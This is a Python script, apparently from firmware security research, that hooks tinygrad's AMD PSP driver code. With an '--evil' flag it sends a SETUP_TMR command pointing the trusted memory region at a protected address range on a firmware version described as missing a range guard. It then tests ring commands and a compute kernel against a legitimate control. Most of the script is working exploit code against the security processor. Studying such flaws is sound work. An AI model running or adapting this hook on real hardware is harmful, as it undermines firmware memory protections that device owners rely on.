"""Does placing the TMR inside the protected window actually MATTER?

test_tmr_range_guard.py only showed the request is ACCEPTED on .51. That proves
the guard is missing, not that the placement has consequences. Here we let the
PSP keep running with the TMR pointed at the protected range and then exercise
functionality that depends on the TMR (TA load, ring commands, a real compute
kernel), comparing against a legitimate TMR on the same firmware.

  --fw51      boot 0.49.0.51 (guard absent)
  --evil      point the TMR at 0x0000FFFD_FB000000 instead of the real allocation
  (default)   legitimate TMR, for control

Recoverable: TMR placement is RAM-only and re-done every boot; psp_recover.py
restores. Never writes SPI.
"""
import ctypes, sys, traceback
import tinygrad.runtime.support.am.amdev as amdev
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import data64

FW51 = '--fw51' in sys.argv
EVIL = '--evil' in sys.argv
EVIL_BASE = 0x0000FFFD_FB000000

if FW51:
    d51 = open('/tmp/lfw/36934f24c008.bin', 'rb').read()
    _of = amdev.fetch_fw
    amdev.fetch_fw = lambda p, n, s: d51 if n == 'psp_13_0_0_sos.bin' else _of(p, n, s)
print("FW=%s  TMR=%s" % ("0.49.0.51" if FW51 else "0.49.0.54(stock)",
                         "EVIL 0x%x" % EVIL_BASE if EVIL else "legitimate"))

import tinygrad.runtime.support.am.ip as ip
_orig = ip.AM_PSP._tmr_load_cmd

def hooked(self):
    v = self.adev.reg(f"{self.reg_pref}_58").read()
    print("  [FW at TMR setup] %d.%d.%d.%d" % (v >> 24 & 0xff, v >> 16 & 0xff, v >> 8 & 0xff, v & 0xff))
    if not EVIL:
        r = _orig(self)
        print("  legit TMR established -> status 0")
        return r
    cmd = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_SETUP_TMR)
    hi, lo = data64(EVIL_BASE)
    cmd.cmd.cmd_setup_tmr.buf_phy_addr_hi, cmd.cmd.cmd_setup_tmr.buf_phy_addr_lo = hi, lo
    shi, slo = data64(self.adev.paddr2xgmi(self.tmr_paddr) if self.tmr_paddr else 0)
    cmd.cmd.cmd_setup_tmr.system_phy_addr_hi, cmd.cmd.cmd_setup_tmr.system_phy_addr_lo = shi, slo
    cmd.cmd.cmd_setup_tmr.bitfield.virt_phy_addr = 1
    cmd.cmd.cmd_setup_tmr.buf_size = self.tmr_size
    try:
        self._ring_submit(cmd)
        print("  EVIL TMR established at 0x%x -> status 0  (PSP now trusts that range)" % EVIL_BASE)
    except Exception as e:
        print("  EVIL TMR rejected: %r" % (e,))
    return cmd

ip.AM_PSP._tmr_load_cmd = hooked

stage = "init"
try:
    from tinygrad import Device
    d = Device["AMD"]
    print("RESULT init: OK")
    stage = "ring"
    adev = d.iface.dev_impl
    psp = adev.psp
    SZ = ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
    for cid, nm in ((0x0f, "GET_FW_ATTESTATION"), (0x02, "UNLOAD_TA")):
        adev.vram.view(psp.cmd_paddr, SZ)[:] = b"\x00" * SZ
        try:
            psp._ring_submit(am.struct_psp_gfx_cmd_resp(cmd_id=cid)); st = 0
        except RuntimeError:
            st = int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr, SZ)[:])[864:868], "little")
        except TimeoutError:
            st = -1
        print("RESULT ring 0x%02x %-20s -> %s" % (cid, nm, "TIMEOUT" if st < 0 else hex(st)))
    stage = "compute"
    from tinygrad import Tensor
    a = (Tensor.ones(256, 256).contiguous() * 3).sum().item()
    print("RESULT compute: sum=%s expected=%s %s" % (a, 256 * 256 * 3, "OK" if a == 256 * 256 * 3 else "MISMATCH"))
except Exception as e:
    print("RESULT %s FAILED: %s: %s" % (stage, type(e).__name__, str(e)[:160]))